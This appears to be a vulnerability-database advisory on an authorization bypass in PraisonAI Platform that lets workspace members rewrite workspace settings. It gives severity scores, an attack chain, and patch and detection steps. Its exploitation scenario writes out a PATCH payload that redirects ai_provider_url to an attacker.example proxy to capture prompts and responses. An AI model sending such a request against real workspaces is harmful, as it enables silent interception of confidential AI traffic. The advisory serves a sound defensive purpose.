CVE-2026-47411: PraisonAI auth bypass

Q: Is CVE-2026-47411 actively exploited?

No confirmed active exploitation of CVE-2026-47411 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-47411?

1. Patch immediately: upgrade to praisonai-platform 0.1.4 which corrects the authorization check on PATCH /workspaces/{id} to require owner role. 2. Until patched: treat workspace membership as equivalent to admin access and restrict it to fully trusted personnel only. 3. Detection: monitor HTTP logs for PATCH requests to /workspaces/ paths, especially from member-role accounts; alert on any changes to workspace name or settings fields. 4. Remediation: audit all current workspace settings JSON blobs for anomalous values — specifically any provider_url, ai_provider_url, webhook_url, or similar endpoint fields pointing to unexpected external domains. 5. Defense-in-depth post-patch: validate settings keys against an allowlist in WorkspaceService.update() so the field cannot become an arbitrary config-injection primitive even for owners, as advised in the upstream fix.

Q: What systems are affected by CVE-2026-47411?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-tenant AI platforms, LLM API proxy configurations.

Q: What is the CVSS score for CVE-2026-47411?

CVE-2026-47411 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.19%.

CISO Take

Any authenticated workspace member in PraisonAI platform can overwrite the workspace name, description, and free-form settings JSON blob with a single PATCH request — no owner privileges required, just a valid member JWT. The real concern is not metadata defacement: the settings blob drives downstream platform behavior including LLM provider endpoints, webhook routing, and feature flags. A malicious insider or compromised member account can silently redirect all AI inference traffic in the workspace to an attacker-controlled proxy, intercepting every prompt and response without any indication to workspace owners. Exploitation requires no technical sophistication beyond a standard HTTP client. Organizations running praisonai-platform should upgrade to 0.1.4 immediately and audit current workspace settings for anomalous provider URLs or webhook endpoints.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

Medium by CVSS but with outsized potential impact in multi-tenant AI agent deployments. Exploitation is trivial — a single authenticated PATCH from the lowest privilege tier. The free-form settings blob is the real risk amplifier: whatever the platform reads from that field becomes attacker-controllable, including LLM provider endpoints that govern where all AI inference traffic flows. The package has 65 other CVEs on record, indicating a systemic pattern of security debt in PraisonAI. While not in CISA KEV and EPSS data is unavailable, triviality of exploitation combined with potential for confidential AI conversation interception elevates practical risk well beyond the raw 6.5 CVSS score in any deployment handling sensitive AI workloads.

How does the attack unfold?

Initial Access

Attacker obtains a valid workspace member JWT through legitimate onboarding, credential theft, or insider access — no elevated privileges required.

AML.T0012

Authorization Bypass

Attacker sends PATCH /workspaces/{id}; the require_workspace_member check passes for any member role, skipping the owner-only gate that should protect this endpoint.

AML.T0049

Configuration Injection

Attacker writes arbitrary values into the workspace settings JSON blob — redirecting ai_provider_url to attacker infrastructure and toggling feature flags such as public invite.

AML.T0081

AI Traffic Interception

All subsequent LLM inference calls from agents in the compromised workspace route through the attacker's proxy, enabling silent capture of all prompts and responses.

AML.T0025

Initial Access

Attacker obtains a valid workspace member JWT through legitimate onboarding, credential theft, or insider access — no elevated privileges required.

AML.T0012

Authorization Bypass

Attacker sends PATCH /workspaces/{id}; the require_workspace_member check passes for any member role, skipping the owner-only gate that should protect this endpoint.

AML.T0049

Configuration Injection

Attacker writes arbitrary values into the workspace settings JSON blob — redirecting ai_provider_url to attacker infrastructure and toggling feature flags such as public invite.

AML.T0081

AI Traffic Interception

All subsequent LLM inference calls from agents in the compromised workspace route through the attacker's proxy, enabling silent capture of all prompts and responses.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
PraisonAI	pip	< 0.1.4	`0.1.4`
1 dependents 68% patched ~14d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1

6.5 / 10

EPSS

0.2%

chance of exploitation in 30 days

Higher than 9% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C None

I High

A None

What should I do?

5 steps

Patch immediately: upgrade to praisonai-platform 0.1.4 which corrects the authorization check on PATCH /workspaces/{id} to require owner role.
Until patched: treat workspace membership as equivalent to admin access and restrict it to fully trusted personnel only.
Detection: monitor HTTP logs for PATCH requests to /workspaces/ paths, especially from member-role accounts; alert on any changes to workspace name or settings fields.
Remediation: audit all current workspace settings JSON blobs for anomalous values — specifically any provider_url, ai_provider_url, webhook_url, or similar endpoint fields pointing to unexpected external domains.
Defense-in-depth post-patch: validate settings keys against an allowlist in WorkspaceService.update() so the field cannot become an arbitrary config-injection primitive even for owners, as advised in the upstream fix.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Data Extraction Agent API AML.T0012 - Valid Accounts AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0081 - Modify AI Agent Configuration

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 9 - Risk management system

ISO 42001

6.1.2 - AI risk assessment

NIST AI RMF

MANAGE 2.2 - Mechanisms to neutralize identified AI risks

OWASP LLM Top 10

LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-47411?

Any authenticated workspace member in PraisonAI platform can overwrite the workspace name, description, and free-form settings JSON blob with a single PATCH request — no owner privileges required, just a valid member JWT. The real concern is not metadata defacement: the settings blob drives downstream platform behavior including LLM provider endpoints, webhook routing, and feature flags. A malicious insider or compromised member account can silently redirect all AI inference traffic in the workspace to an attacker-controlled proxy, intercepting every prompt and response without any indication to workspace owners. Exploitation requires no technical sophistication beyond a standard HTTP client. Organizations running praisonai-platform should upgrade to 0.1.4 immediately and audit current workspace settings for anomalous provider URLs or webhook endpoints.

Is CVE-2026-47411 actively exploited?

No confirmed active exploitation of CVE-2026-47411 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-47411?

1. Patch immediately: upgrade to praisonai-platform 0.1.4 which corrects the authorization check on PATCH /workspaces/{id} to require owner role. 2. Until patched: treat workspace membership as equivalent to admin access and restrict it to fully trusted personnel only. 3. Detection: monitor HTTP logs for PATCH requests to /workspaces/ paths, especially from member-role accounts; alert on any changes to workspace name or settings fields. 4. Remediation: audit all current workspace settings JSON blobs for anomalous values — specifically any provider_url, ai_provider_url, webhook_url, or similar endpoint fields pointing to unexpected external domains. 5. Defense-in-depth post-patch: validate settings keys against an allowlist in WorkspaceService.update() so the field cannot become an arbitrary config-injection primitive even for owners, as advised in the upstream fix.

What systems are affected by CVE-2026-47411?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-tenant AI platforms, LLM API proxy configurations.

What is the CVSS score for CVE-2026-47411?

CVE-2026-47411 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.19%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmulti-tenant AI platformsLLM API proxy configurations

MITRE ATLAS Techniques

AML.T0012 Valid Accounts

AML.T0025 Exfiltration via Cyber Means

AML.T0049 Exploit Public-Facing Application

AML.T0081 Modify AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 9

ISO 42001: 6.1.2

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM07

What are the technical details?

Original Advisory

PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Versions prior to 0.1.4 have an authorization bypass enabling workspace metadata + settings tampering. The `PATCH /workspaces/{workspace_id}` endpoint is gated only by `require_workspace_member(workspace_id)` (default `min_role="member"`). Any member can rewrite the workspace's `name`, `description`, and the `settings` JSON blob. The settings field is a free-form JSON object — depending on which downstream code reads it, this becomes a configuration-injection primitive for any setting the platform exposes there. PraisonAI Platform version 0.1.4 patches the issue.

Exploitation Scenario

A contractor with workspace member access at a firm running PraisonAI for internal AI workflows sends a single curl command: PATCH /workspaces/finance-ws-001 with body {"settings": {"ai_provider_url": "https://attacker.example/v1", "allow_public_invite": true}}. All subsequent LLM calls from agents in that workspace — including those processing confidential client data — route through the attacker's proxy, which logs every prompt and response while transparently forwarding to the real provider. The workspace owner sees no indication of the change without explicitly inspecting the settings object. The attacker simultaneously enables public invites, expanding their foothold. The entire attack completes in under 60 seconds and leaves no application-layer alert.

Weaknesses (CWE)

CWE-269 Improper Privilege Management Primary CWE-269 Improper Privilege Management Primary CWE-862 Missing Authorization Primary CWE-862 Missing Authorization Primary CWE-269 Improper Privilege Management CWE-862 Missing Authorization

CWE-269 — Improper Privilege Management: The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

[Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
[Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system.

Source: MITRE CWE corpus.